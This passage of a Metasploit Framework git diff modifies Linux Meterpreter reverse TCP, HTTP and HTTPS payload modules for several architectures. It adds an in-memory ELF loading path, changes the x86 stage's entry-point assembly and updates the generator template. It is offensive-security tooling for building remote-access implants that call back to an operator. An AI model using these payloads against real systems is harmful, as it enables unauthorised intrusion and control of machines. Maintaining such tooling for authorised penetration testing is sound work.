b/modules/payloads/singles/linux/x64/meterpreter_reverse_tcp.rb @@ -3,30 +3,34 @@ # Current source: https://github.com/rapid7/metasploit-framework ## + # Module generated by tools/modules/generate_mettle_payloads.rb module MetasploitModule + CachedSize = 1121480 include Msf::Payload::Single include Msf::Sessions::MeterpreterOptions::Linux include Msf::Sessions::MettleConfig + include Msf::Payload::Linux::X64::ElfLoader + include Msf::Payload::Linux::X64::Prepends def initialize(info = {}) super( update_info( info, - 'Name' => 'Linux Meterpreter, Reverse TCP Inline', - 'Description' => 'Run the Meterpreter / Mettle server payload (stageless)', - 'Author' => [ + 'Name' => 'Linux Meterpreter, Reverse TCP Inline', + 'Description' => 'Run the Meterpreter / Mettle server payload (stageless)', + 'Author' => [ 'Adam Cammack ', 'Brent Cook ', 'timwr' ], - 'Platform' => 'linux', - 'Arch' => ARCH_X64, - 'License' => MSF_LICENSE, - 'Handler' => Msf::Handler::ReverseTcp, - 'Session' => Msf::Sessions::Meterpreter_x64_Linux + 'Platform' => 'linux', + 'Arch' => ARCH_X64, + 'License' => MSF_LICENSE, + 'Handler' => Msf::Handler::ReverseTcp, + 'Session' => Msf::Sessions::Meterpreter_x64_Linux ) ) end @@ -36,6 +40,11 @@ def generate(_opts = {}) scheme: 'tcp', stageless: true }.merge(mettle_logging_config) - MetasploitPayloads::Mettle.new('x86_64-linux-musl', generate_config(opts)).to_binary :exec + payload = MetasploitPayloads::Mettle.new('x86_64-linux-musl', generate_config(opts)).to_binary :exec + ds = opts[:datastore] || datastore + if Rex::Version.new(ds['PayloadLinuxMinKernel']) < Rex::Version.new('3.17') + return payload + end + in_memory_load(payload) + payload end end diff --git a/modules/payloads/singles/linux/x86/meterpreter_reverse_http.rb b/modules/payloads/singles/linux/x86/meterpreter_reverse_http.rb index f00fc17baeaae..bc5baace0de52 100644 --- a/modules/payloads/singles/linux/x86/meterpreter_reverse_http.rb +++ b/modules/payloads/singles/linux/x86/meterpreter_reverse_http.rb @@ -3,30 +3,34 @@ # Current source: https://github.com/rapid7/metasploit-framework ## + # Module generated by tools/modules/generate_mettle_payloads.rb module MetasploitModule + CachedSize = 1188612 include Msf::Payload::Single include Msf::Sessions::MeterpreterOptions::Linux include Msf::Sessions::MettleConfig + include Msf::Payload::Linux::X86::ElfLoader + include Msf::Payload::Linux::X86::Prepends def initialize(info = {}) super( update_info( info, - 'Name' => 'Linux Meterpreter, Reverse HTTP Inline', - 'Description' => 'Run the Meterpreter / Mettle server payload (stageless)', - 'Author' => [ + 'Name' => 'Linux Meterpreter, Reverse HTTP Inline', + 'Description' => 'Run the Meterpreter / Mettle server payload (stageless)', + 'Author' => [ 'Adam Cammack ', 'Brent Cook ', 'timwr' ], - 'Platform' => 'linux', - 'Arch' => ARCH_X86, - 'License' => MSF_LICENSE, - 'Handler' => Msf::Handler::ReverseHttp, - 'Session' => Msf::Sessions::Meterpreter_x86_Linux + 'Platform' => 'linux', + 'Arch' => ARCH_X86, + 'License' => MSF_LICENSE, + 'Handler' => Msf::Handler::ReverseHttp, + 'Session' => Msf::Sessions::Meterpreter_x86_Linux ) ) end @@ -36,6 +40,11 @@ def generate(_opts = {}) scheme: 'http', stageless: true }.merge(mettle_logging_config) - MetasploitPayloads::Mettle.new('i486-linux-musl', generate_config(opts)).to_binary :exec + payload = MetasploitPayloads::Mettle.new('i486-linux-musl', generate_config(opts)).to_binary :exec + ds = opts[:datastore] || datastore + if Rex::Version.new(ds['PayloadLinuxMinKernel']) < Rex::Version.new('3.17') + return payload + end + in_memory_load(payload) + payload end end diff --git a/modules/payloads/singles/linux/x86/meterpreter_reverse_https.rb b/modules/payloads/singles/linux/x86/meterpreter_reverse_https.rb index ca981dbf709d5..6cbcfc26db260 100644 --- a/modules/payloads/singles/linux/x86/meterpreter_reverse_https.rb +++ b/modules/payloads/singles/linux/x86/meterpreter_reverse_https.rb @@ -3,30 +3,34 @@ # Current source: https://github.com/rapid7/metasploit-framework ## + # Module generated by tools/modules/generate_mettle_payloads.rb module MetasploitModule + CachedSize = 1188612 include Msf::Payload::Single include Msf::Sessions::MeterpreterOptions::Linux include Msf::Sessions::MettleConfig + include Msf::Payload::Linux::X86::ElfLoader + include Msf::Payload::Linux::X86::Prepends def initialize(info = {}) super( update_info( info, - 'Name' => 'Linux Meterpreter, Reverse HTTPS Inline', - 'Description' => 'Run the Meterpreter / Mettle server payload (stageless)', - 'Author' => [ + 'Name' => 'Linux Meterpreter, Reverse HTTPS Inline', + 'Description' => 'Run the Meterpreter / Mettle server payload (stageless)', + 'Author' => [ 'Adam Cammack ', 'Brent Cook ', 'timwr' ], - 'Platform' => 'linux', - 'Arch' => ARCH_X86, - 'License' => MSF_LICENSE, - 'Handler' => Msf::Handler::ReverseHttps, - 'Session' => Msf::Sessions::Meterpreter_x86_Linux + 'Platform' => 'linux', + 'Arch' => ARCH_X86, + 'License' => MSF_LICENSE, + 'Handler' => Msf::Handler::ReverseHttps, + 'Session' => Msf::Sessions::Meterpreter_x86_Linux ) ) end @@ -36,6 +40,11 @@ def generate(_opts = {}) scheme: 'https', stageless: true }.merge(mettle_logging_config) - MetasploitPayloads::Mettle.new('i486-linux-musl', generate_config(opts)).to_binary :exec + payload = MetasploitPayloads::Mettle.new('i486-linux-musl', generate_config(opts)).to_binary :exec + ds = opts[:datastore] || datastore + if Rex::Version.new(ds['PayloadLinuxMinKernel']) < Rex::Version.new('3.17') + return payload + end + in_memory_load(payload) + payload end end diff --git a/modules/payloads/singles/linux/x86/meterpreter_reverse_tcp.rb b/modules/payloads/singles/linux/x86/meterpreter_reverse_tcp.rb index d05cc237e217c..7a4b8b222cf31 100644 --- a/modules/payloads/singles/linux/x86/meterpreter_reverse_tcp.rb +++ b/modules/payloads/singles/linux/x86/meterpreter_reverse_tcp.rb @@ -3,30 +3,34 @@ # Current source: https://github.com/rapid7/metasploit-framework ## + # Module generated by tools/modules/generate_mettle_payloads.rb module MetasploitModule + CachedSize = 1188612 include Msf::Payload::Single include Msf::Sessions::MeterpreterOptions::Linux include Msf::Sessions::MettleConfig + include Msf::Payload::Linux::X86::ElfLoader + include Msf::Payload::Linux::X86::Prepends def initialize(info = {}) super( update_info( info, - 'Name' => 'Linux Meterpreter, Reverse TCP Inline', - 'Description' => 'Run the Meterpreter / Mettle server payload (stageless)', - 'Author' => [ + 'Name' => 'Linux Meterpreter, Reverse TCP Inline', + 'Description' => 'Run the Meterpreter / Mettle server payload (stageless)', + 'Author' => [ 'Adam Cammack ', 'Brent Cook ', 'timwr' ], - 'Platform' => 'linux', - 'Arch' => ARCH_X86, - 'License' => MSF_LICENSE, - 'Handler' => Msf::Handler::ReverseTcp, - 'Session' => Msf::Sessions::Meterpreter_x86_Linux + 'Platform' => 'linux', + 'Arch' => ARCH_X86, + 'License' => MSF_LICENSE, + 'Handler' => Msf::Handler::ReverseTcp, + 'Session' => Msf::Sessions::Meterpreter_x86_Linux ) ) end @@ -36,6 +40,11 @@ def generate(_opts = {}) scheme: 'tcp', stageless: true }.merge(mettle_logging_config) - MetasploitPayloads::Mettle.new('i486-linux-musl', generate_config(opts)).to_binary :exec + payload = MetasploitPayloads::Mettle.new('i486-linux-musl', generate_config(opts)).to_binary :exec + ds = opts[:datastore] || datastore + if Rex::Version.new(ds['PayloadLinuxMinKernel']) < Rex::Version.new('3.17') + return payload + end + in_memory_load(payload) + payload end end diff --git a/modules/payloads/singles/linux/zarch/meterpreter_reverse_http.rb b/modules/payloads/singles/linux/zarch/meterpreter_reverse_http.rb index cd64973d092ad..07bf4de210df7 100644 --- a/modules/payloads/singles/linux/zarch/meterpreter_reverse_http.rb +++ b/modules/payloads/singles/linux/zarch/meterpreter_reverse_http.rb @@ -3,8 +3,10 @@ # Current source: https://github.com/rapid7/metasploit-framework ## + # Module generated by tools/modules/generate_mettle_payloads.rb module MetasploitModule + CachedSize = 1332048 include Msf::Payload::Single @@ -15,18 +17,18 @@ def initialize(info = {}) super( update_info( info, - 'Name' => 'Linux Meterpreter, Reverse HTTP Inline', - 'Description' => 'Run the Meterpreter / Mettle server payload (stageless)', - 'Author' => [ + 'Name' => 'Linux Meterpreter, Reverse HTTP Inline', + 'Description' => 'Run the Meterpreter / Mettle server payload (stageless)', + 'Author' => [ 'Adam Cammack ', 'Brent Cook ', 'timwr' ], - 'Platform' => 'linux', - 'Arch' => ARCH_ZARCH, - 'License' => MSF_LICENSE, - 'Handler' => Msf::Handler::ReverseHttp, - 'Session' => Msf::Sessions::Meterpreter_zarch_Linux + 'Platform' => 'linux', + 'Arch' => ARCH_ZARCH, + 'License' => MSF_LICENSE, + 'Handler' => Msf::Handler::ReverseHttp, + 'Session' => Msf::Sessions::Meterpreter_zarch_Linux ) ) end @@ -36,6 +38,7 @@ def generate(_opts = {}) scheme: 'http', stageless: true }.merge(mettle_logging_config) - MetasploitPayloads::Mettle.new('s390x-linux-musl', generate_config(opts)).to_binary :exec + payload = MetasploitPayloads::Mettle.new('s390x-linux-musl', generate_config(opts)).to_binary :exec + payload end end diff --git a/modules/payloads/singles/linux/zarch/meterpreter_reverse_https.rb b/modules/payloads/singles/linux/zarch/meterpreter_reverse_https.rb index 9353c46bc9028..192663159a095 100644 --- a/modules/payloads/singles/linux/zarch/meterpreter_reverse_https.rb +++ b/modules/payloads/singles/linux/zarch/meterpreter_reverse_https.rb @@ -3,8 +3,10 @@ # Current source: https://github.com/rapid7/metasploit-framework ## + # Module generated by tools/modules/generate_mettle_payloads.rb module MetasploitModule + CachedSize = 1332048 include Msf::Payload::Single @@ -15,18 +17,18 @@ def initialize(info = {}) super( update_info( info, - 'Name' => 'Linux Meterpreter, Reverse HTTPS Inline', - 'Description' => 'Run the Meterpreter / Mettle server payload (stageless)', - 'Author' => [ + 'Name' => 'Linux Meterpreter, Reverse HTTPS Inline', + 'Description' => 'Run the Meterpreter / Mettle server payload (stageless)', + 'Author' => [ 'Adam Cammack ', 'Brent Cook ', 'timwr' ], - 'Platform' => 'linux', - 'Arch' => ARCH_ZARCH, - 'License' => MSF_LICENSE, - 'Handler' => Msf::Handler::ReverseHttps, - 'Session' => Msf::Sessions::Meterpreter_zarch_Linux + 'Platform' => 'linux', + 'Arch' => ARCH_ZARCH, + 'License' => MSF_LICENSE, + 'Handler' => Msf::Handler::ReverseHttps, + 'Session' => Msf::Sessions::Meterpreter_zarch_Linux ) ) end @@ -36,6 +38,7 @@ def generate(_opts = {}) scheme: 'https', stageless: true }.merge(mettle_logging_config) - MetasploitPayloads::Mettle.new('s390x-linux-musl', generate_config(opts)).to_binary :exec + payload = MetasploitPayloads::Mettle.new('s390x-linux-musl', generate_config(opts)).to_binary :exec + payload end end diff --git a/modules/payloads/singles/linux/zarch/meterpreter_reverse_tcp.rb b/modules/payloads/singles/linux/zarch/meterpreter_reverse_tcp.rb index 11bffa270d883..df13d82f9958c 100644 --- a/modules/payloads/singles/linux/zarch/meterpreter_reverse_tcp.rb +++ b/modules/payloads/singles/linux/zarch/meterpreter_reverse_tcp.rb @@ -3,8 +3,10 @@ # Current source: https://github.com/rapid7/metasploit-framework ## + # Module generated by tools/modules/generate_mettle_payloads.rb module MetasploitModule + CachedSize = 1332048 include Msf::Payload::Single @@ -15,18 +17,18 @@ def initialize(info = {}) super( update_info( info, - 'Name' => 'Linux Meterpreter, Reverse TCP Inline', - 'Description' => 'Run the Meterpreter / Mettle server payload (stageless)', - 'Author' => [ + 'Name' => 'Linux Meterpreter, Reverse TCP Inline', + 'Description' => 'Run the Meterpreter / Mettle server payload (stageless)', + 'Author' => [ 'Adam Cammack ', 'Brent Cook ', 'timwr' ], - 'Platform' => 'linux', - 'Arch' => ARCH_ZARCH, - 'License' => MSF_LICENSE, - 'Handler' => Msf::Handler::ReverseTcp, - 'Session' => Msf::Sessions::Meterpreter_zarch_Linux + 'Platform' => 'linux', + 'Arch' => ARCH_ZARCH, + 'License' => MSF_LICENSE, + 'Handler' => Msf::Handler::ReverseTcp, + 'Session' => Msf::Sessions::Meterpreter_zarch_Linux ) ) end @@ -36,6 +38,7 @@ def generate(_opts = {}) scheme: 'tcp', stageless: true }.merge(mettle_logging_config) - MetasploitPayloads::Mettle.new('s390x-linux-musl', generate_config(opts)).to_binary :exec + payload = MetasploitPayloads::Mettle.new('s390x-linux-musl', generate_config(opts)).to_binary :exec + payload end end diff --git a/modules/payloads/stages/linux/x86/meterpreter.rb b/modules/payloads/stages/linux/x86/meterpreter.rb index 8f11c712ca477..4f543cad771a8 100644 --- a/modules/payloads/stages/linux/x86/meterpreter.rb +++ b/modules/payloads/stages/linux/x86/meterpreter.rb @@ -26,14 +26,7 @@ def initialize(info = {}) ) end - def elf_ep(payload) - elf = Rex::ElfParsey::Elf.new(Rex::ImageSource::Memory.new(payload)) - elf.elf_header.e_entry - end - def asm_intermediate_stage(payload) - entry_offset = elf_ep(payload) - %( push edi ; save sockfd xor ebx, ebx ; address @@ -76,10 +69,7 @@ def asm_intermediate_stage(payload) push esi ; m mov eax, 2 push eax ; argc - - ; down the rabbit hole - mov eax, #{entry_offset} - add edx, eax + add edx, [edx + 0x18] jmp edx ) end @@ -95,10 +85,19 @@ def handle_intermediate_stage(conn, payload) end def generate_stage(opts = {}) - config_opts = { scheme: 'tcp' }.merge(mettle_logging_config(opts)) - MetasploitPayloads::Mettle.new( - 'i486-linux-musl', - generate_config(opts.merge(config_opts)) - ).to_binary :process_image + # elf_loader_asm = %( + # elf_loader: + # jmp bottom + # got_bottom: + # pop edx + # add edx, [edx + 0x18] + # jmp edx + # bottom: + # call got_bottom + # ) + # elf_loader = Metasm::Shellcode.assemble(Metasm::X86.new, elf_loader_asm).encode_string + config_opts = {scheme: 'tcp'}.merge(mettle_logging_config(opts)) + binary = MetasploitPayloads::Mettle.new('i486-linux-musl', generate_config(opts.merge(config_opts))).to_binary :process_image + binary end end diff --git a/tools/modules/meterpreter_reverse.erb b/tools/modules/meterpreter_reverse.erb index 8e012f795fb41..7a7fecb2c5323 100644 --- a/tools/modules/meterpreter_reverse.erb +++ b/tools/modules/meterpreter_reverse.erb @@ -6,10 +6,11 @@ # Module generated by tools/modules/generate_mettle_payloads.rb module MetasploitModule - include Msf::Payload::Single include Msf::Sessions::MeterpreterOptions::<%= platform.split('_').each { |s| s.casecmp?('osx') ? 'OSX' : s.capitalize! }.join %> include Msf::Sessions::MettleConfig + <% if platform.downcase == 'linux' && !['armbe', 'ppc64le', 'ppc', 'ppce500v2', 's390x'].include?(arch.downcase) %>include Msf::Payload::Linux::<%= arch.capitalize %>::ElfLoader<% end %> + <% if platform.downcase == 'linux' %>include Msf::Payload::Linux::<%= arch.capitalize %>::Prepends<% end %> def initialize(info = {}) super( @@ -31,11 +32,17 @@ module MetasploitModule ) end - def generate + def generate(_opts = {}) opts = { scheme: '<%= scheme %>', stageless: true }.merge(mettle_logging_config) - MetasploitPayloads::Mettle.new('<%= payload %>', generate_config(opts)).to_binary :exec + payload = MetasploitPayloads::Mettle.new('<%= payload %>', generate_config(opts)).to_binary :exec + <% if platform.downcase == 'linux' && !['armbe', 'ppc64le', 'ppc', 'ppce500v2', 's390x'].include?(arch.downcase) %>ds = opts[:datastore] || datastore + if Rex::Version.new(ds['PayloadLinuxMinKernel']) < Rex::Version.new('3.17') + return payload + end + in_memory_load(payload) + payload<% else %> + payload<% end %> end end